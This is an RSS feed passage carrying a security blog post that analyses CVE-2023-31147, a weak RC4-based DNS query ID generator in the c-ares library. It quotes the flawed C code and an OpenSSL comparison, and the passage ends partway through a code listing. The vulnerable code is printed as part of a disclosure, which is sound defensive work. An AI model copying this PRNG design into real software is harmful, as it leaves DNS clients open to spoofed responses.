<p><a href="https://lore.kernel.org/linux-api/20230829205833.14873-1-richard@nod.at/">https://lore.kernel.org/linux-api/20230829205833.14873-1-richard@nod.at/</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://github.com/shadow-maint/shadow/pull/99#issuecomment-1698356714">https://github.com/shadow-maint/shadow/pull/99#issuecomment-1698356714</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares</title><link>https://sigma-star.at/blog/2023/08/c-ares_cve-2023-31147/</link><pubDate>Tue, 22 Aug 2023 00:00:00 +0200</pubDate><author>David Gstir</author><guid>https://sigma-star.at/blog/2023/08/c-ares_cve-2023-31147/</guid><description><![CDATA[<h1 id="cve-2023-31147-insufficient-randomness-for-dns-query-identifiers-in-c-ares">CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares</h1>
<p>Despite having <a href="https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions">DNSSEC</a>, <a href="https://www.rfc-editor.org/rfc/rfc8484.html">DoH</a>
or <a href="https://datatracker.ietf.org/doc/html/rfc7858">DoT</a> to secure DNS lookups, many systems still rely on plain old DNS from 1983. Earlier this year, we&rsquo;ve been part of a larger team that audited <a href="https://c-ares.org">c-ares</a> v1.19.0.
c-ares is an asynchronous DNS client library with support for a wide range of platforms.
It is around for quite some time now and a few of its more prominent users
include libcurl, node.js and Wireshark.</p>]]></description><content:encoded><![CDATA[<h1 id="cve-2023-31147-insufficient-randomness-for-dns-query-identifiers-in-c-ares">CVE-2023-31147: Insufficient randomness for DNS query identifiers in c-ares</h1>
<p>Despite having <a href="https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions">DNSSEC</a>, <a href="https://www.rfc-editor.org/rfc/rfc8484.html">DoH</a>
or <a href="https://datatracker.ietf.org/doc/html/rfc7858">DoT</a> to secure DNS lookups, many systems still rely on plain old DNS from 1983. Earlier this year, we&rsquo;ve been part of a larger team that audited <a href="https://c-ares.org">c-ares</a> v1.19.0.
c-ares is an asynchronous DNS client library with support for a wide range of platforms.
It is around for quite some time now and a few of its more prominent users
include libcurl, node.js and Wireshark.</p>
<p>In this post, we delve into one specific outcome of our work, namely
the weak DNS query ID generation in c-ares identified as <a href="https://github.com/c-ares/c-ares/security/advisories/GHSA-8r8p-23f3-64c2">CVE-2023-31147</a>.</p>
<h2 id="dns-query-id-generation-in-c-ares">DNS Query ID Generation in c-ares</h2>
<p>Even though plain DNS does not include any cryptographic measures for
authenticity, DNS queries use two properties for being more resilient
against forged answers<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>:</p>
<ol>
<li>Source port randomization: DNS queries originate from a randomly chosen port, and the response must be directed back to the same port of the originating query.</li>
<li>Random DNS query identifiers: DNS queries contain a randomized 16-bit ID, which the corresponding response must match to gain acceptance.</li>
</ol>
<p>In the good old days, this was not the default. For instance, DNS resolvers used fixed source ports,
allowing attackers to focus solely on correctly predicting the 16-bit query ID. The practical exploitation of this vulnerability was most prominently shown by Dan Kaminsky in 2008 through the publication of <a href="https://www.kb.cert.org/vuls/id/800113">CVE-2008-1447</a>.
Thus, selecting the source port and query ID using a cryptographically secure random number generator (CSPRNG)
is crucial: It makes it quite hard for attackers to construct and inject a malicious response before
the real response arrives at the client.</p>
<p>When auditing a DNS protocol implementation like c-ares, we always check if these mitigations are
properly implemented. In the context of this blog post, we primarily focus on random DNS query identifiers, as source
port randomization is nowadays the default and is managed by the OS<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.</p>
<p>The high-level design of DNS-Query ID generation in c-ares appears fairly simple to users: Upon initialization with <code>ares_init(ares_channel *channelptr)</code>,
c-ares collects random bytes from the OSes CSPRNG. These bytes serve as the seed for an internal CSPRNG.
This internal CSPRNG is then used to generate the 16-bit DNS query ID for each individual query.
The CSPRNG state is stored in the opaque type <code>ares_channel</code> and updated every time a DNS query
ID is generated through the use of <code>ares__generate_new_id(...)</code>.</p>
<h2 id="hello-1987">Hello 1987</h2>
<p>Once we start looking at the code more closely, we&rsquo;ll realize that not everything is well designed:
First, we notice that DNS query IDs are generated using a pseudo random number generator (PRNG) based on
<a href="https://en.wikipedia.org/wiki/RC4">RC4</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">rc4</span><span class="p">(</span><span class="n">rc4_key</span><span class="o">*</span> <span class="n">key</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buffer_ptr</span><span class="p">,</span> <span class="kt">int</span> <span class="n">buffer_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">y</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">state</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">xorIndex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">counter</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">x</span> <span class="o">=</span> <span class="n">key</span><span class="o">-&gt;</span><span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">y</span> <span class="o">=</span> <span class="n">key</span><span class="o">-&gt;</span><span class="n">y</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">state</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">key</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">counter</span> <span class="o">&lt;</span> <span class="n">buffer_len</span><span class="p">;</span> <span class="n">counter</span> <span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">x</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">x</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">state</span><span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="o">+</span> <span class="n">y</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">ARES_SWAP_BYTE</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">[</span><span class="n">x</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">state</span><span class="p">[</span><span class="n">y</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">xorIndex</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">state</span><span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="o">+</span> <span class="n">state</span><span class="p">[</span><span class="n">y</span><span class="p">])</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">buffer_ptr</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)(</span><span class="n">buffer_ptr</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span><span class="o">^</span><span class="n">state</span><span class="p">[</span><span class="n">xorIndex</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">key</span><span class="o">-&gt;</span><span class="n">x</span> <span class="o">=</span> <span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">key</span><span class="o">-&gt;</span><span class="n">y</span> <span class="o">=</span> <span class="n">y</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// ...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="cm">/* a unique query id is generated using a rc4 key. Since the id may already
</span></span></span><span class="line"><span class="cl"><span class="cm">   be used by a running query (as infrequent as it may be), a lookup is
</span></span></span><span class="line"><span class="cl"><span class="cm">   performed per id generation. In practice this search should happen only
</span></span></span><span class="line"><span class="cl"><span class="cm">   once per newly generated id
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">short</span> <span class="nf">generate_unique_id</span><span class="p">(</span><span class="n">ares_channel</span> <span class="n">channel</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">id</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">id</span> <span class="o">=</span> <span class="nf">ares__generate_new_id</span><span class="p">(</span><span class="o">&amp;</span><span class="n">channel</span><span class="o">-&gt;</span><span class="n">id_key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="nf">find_query_by_id</span><span class="p">(</span><span class="n">channel</span><span class="p">,</span> <span class="n">id</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">short</span><span class="p">)</span><span class="n">id</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="kt">short</span> <span class="nf">ares__generate_new_id</span><span class="p">(</span><span class="n">rc4_key</span><span class="o">*</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">r</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nf">rc4</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">r</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">r</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">r</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>In case you&rsquo;re too young or it&rsquo;s been a while: RC4 is a stream cipher designed in 1987 and has gained widespread usage over the years.
However, since its inception, it has been shown to be flawed and insecure multiple times. It is also the reason why Wifi protocols
WPA-TKIP and WEP were both <a href="https://www.rc4nomore.com/">famously</a> <a href="https://www.mattblaze.org/papers/others/rc4_ksaproc.pdf">broken</a>.
So it is not a cipher you&rsquo;d use in 2023.</p>
<p>Using RC4 as cryptographically secure PRNG (CSPRNG) was also quite common some time ago and
it was the core of <a href="https://man.openbsd.org/arc4random"><code>arc4random(3)</code></a> which originated
in OpenBSD and is nowadays part of all BSD-descendants including Apple&rsquo;s macOS and iOS.
However, with the discovery of <a href="https://link.springer.com/content/pdf/10.1007/3-540-45473-X_13.pdf">more</a> and
<a href="https://eprint.iacr.org/2007/120">more</a> ways the RC4 key stream is biased and not properly random,
it became clear that RC4 was unsuitable for use as a CSPRNG. As a result, today&rsquo;s <code>arc4random(3)</code> implementations
use CSPRNGs based on ChaCha20 or AES.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<p>Shifting our focus back to c-ares, there is more to be considered: While functions like <code>arc4random(3)</code> did
ensure that new entropy is added after a certain amount of random bytes has
been generated, c-ares takes a different approach. It simply seeds the PRNG once and uses it throughout
the entire lifespan of the <code>ares_channel</code>. This may not be a concern for tools like <code>adig</code> (the <code>dig</code> version of c-ares), since the process will never live long enough. On the other hand, if we consider services which
run for a much longer time and perform a lot of DNS queries, this might be a different story.
Especially, if said service initializes a single <code>ares_channel</code> upon startup and uses it until it is stopped.
While this is probably not really an issue with c-ares, it is common practice to reseed
the PRNG after generating a certain amount of bytes.</p>
<h2 id="broken-twice">Broken Twice</h2>
<p>With our interest peaked, we can start looking more closely into how RC4 is seeded. This is
done in the function <code>init_id_key(rc4_key* key,int key_data_len)</code> which gets handed
in a pointer to the <code>rc4_key</code> type stored in the <code>ares_channel</code> and a number dubbed
<code>key_data_len</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="hl"><span class="lnt">14
</span></span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="hl"><span class="lnt">18
</span></span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="hl"><span class="lnt">25
</span></span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">init_id_key</span><span class="p">(</span><span class="n">rc4_key</span><span class="o">*</span> <span class="n">key</span><span class="p">,</span><span class="kt">int</span> <span class="n">key_data_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">index1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">index2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">state</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">short</span> <span class="n">counter</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key_data_ptr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">key_data_ptr</span> <span class="o">=</span> <span class="nf">ares_malloc</span><span class="p">(</span><span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">key_data_ptr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ARES_ENOMEM</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">key_data_ptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line hl"><span class="cl">  <span class="n">state</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">key</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">counter</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">counter</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="cm">/* unnecessary AND but it keeps some compilers happier */</span>
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)(</span><span class="n">counter</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">);</span>
</span></span><span class="line hl"><span class="cl">  <span class="nf">randomize_key</span><span class="p">(</span><span class="n">key</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">,</span><span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">key</span><span class="o">-&gt;</span><span class="n">x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">key</span><span class="o">-&gt;</span><span class="n">y</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">index1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">index2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">counter</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">counter</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line hl"><span class="cl">    <span class="n">index2</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">key_data_ptr</span><span class="p">[</span><span class="n">index1</span><span class="p">]</span> <span class="o">+</span> <span class="n">state</span><span class="p">[</span><span class="n">counter</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">                              <span class="n">index2</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">ARES_SWAP_BYTE</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">[</span><span class="n">counter</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">state</span><span class="p">[</span><span class="n">index2</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">index1</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)((</span><span class="n">index1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="n">key_data_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nf">ares_free</span><span class="p">(</span><span class="n">key_data_ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">ARES_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>We notice that the buffer <code>key_data_ptr</code> is actually
useless, since it is never populated with something other than all zero bytes.
So we can actually ignore it in the calculation of <code>index2</code> in line 25.</p>
<p>Furthermore, the 256-byte buffer <code>key-&gt;state[]</code> is filled with numbers from <code>0</code> to <code>255</code>, and
then handed to a function <code>randomize_key(...)</code> which one would assume shuffles
the contents of <code>key-&gt;state[]</code>. Also notice that we hand
<code>key_data_len</code> to this function. Digging through the header files, we can find
that its value is always <code>ARES_ID_KEY_LEN</code>, which is <code>31</code>. So this is <em>not</em> the
length of <code>key-&gt;state[]</code> which is 256 bytes.</p>
<p>Therefore, it begs the question where the true randomness is fetched from the OS.
Looking at the code above, <code>randomize_key(...)</code> is the only sensible candidate.
Prior to delving into that, let&rsquo;s briefly compare how RC4 is implemented in <a href="https://github.com/openssl/openssl/blob/33388b44b67145af2181b1e9528c381c8ea0d1b6/crypto/rc4/rc4_skey.c#L36-L63">OpenSSL</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="hl"><span class="lnt"> 1
</span></span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="hl"><span class="lnt"> 8
</span></span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="hl"><span class="lnt">15
</span></span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line hl"><span class="cl"><span class="kt">void</span> <span class="nf">RC4_set_key</span><span class="p">(</span><span class="n">RC4_KEY</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">,</span> <span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">register</span> <span class="n">RC4_INT</span> <span class="n">tmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">register</span> <span class="kt">int</span> <span class="n">id1</span><span class="p">,</span> <span class="n">id2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">register</span> <span class="n">RC4_INT</span> <span class="o">*</span><span class="n">d</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line hl"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">key</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span><span class="o">-&gt;</span><span class="n">x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span><span class="o">-&gt;</span><span class="n">y</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">id1</span> <span class="o">=</span> <span class="n">id2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#define SK_LOOP(d,n) { \
</span></span></span><span class="line"><span class="cl"><span class="cp">                tmp=d[(n)]; \
</span></span></span><span class="line hl"><span class="cl"><span class="cp">                id2 = (data[id1] + tmp + id2) &amp; 0xff; \
</span></span></span><span class="line"><span class="cl"><span class="cp">                if (++id1 == len) id1=0; \
</span></span></span><span class="line"><span class="cl"><span class="cp">                d[(n)]=d[id2]; \
</span></span></span><span class="line"><span class="cl"><span class="cp">                d[id2]=tmp; }
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">SK_LOOP</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">SK_LOOP</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">SK_LOOP</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">SK_LOOP</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>We&rsquo;ll notice that <code>init_id_key(...)</code> in c-ares is slightly different and actually broken:</p>
<p>OpenSSL&rsquo;s key schedule implementation receives the raw key via the <code>data</code> buffer,
initializes the state buffer <code>d</code> and then shuffles <code>d</code> and <code>data</code>.</p>
<p>In c-ares, <code>key_data_ptr</code> is OpenSSL&rsquo;s <code>data</code> buffer and <code>state</code> is the
equivalent of pointer <code>d</code>. Knowing this, we can see that c-ares confused
<code>key-&gt;state</code> with <code>key_data_ptr</code> when calling <code>randomize_key(...)</code> which we
assume retrieves a random key.
Consequently, the 256 <code>ARES_SWAP_BYTE(...)</code> operations in c-ares&rsquo; key schedule incorrectly
depend on <code>key-&gt;state</code> only, but not <code>key_data_ptr</code>.</p>
<p>Without going into all the math details here, this definitely looks worse than what the original RC4 key
schedule does as it is likely resulting in fewer possible permutations of <code>key-&gt;state[]</code>.
We can assume that this has a downside on the quality of random numbers it generates.</p>
<h2 id="predictable-randomness">Predictable Randomness</h2>
<p>Finally, let&rsquo;s take a look at the <code>randomize_key(...)</code> more closely:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="hl"><span class="lnt">29
</span></span><span class="lnt">30
</span><span class="lnt">31
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="cm">/* initialize an rc4 key. If possible a cryptographically secure random key
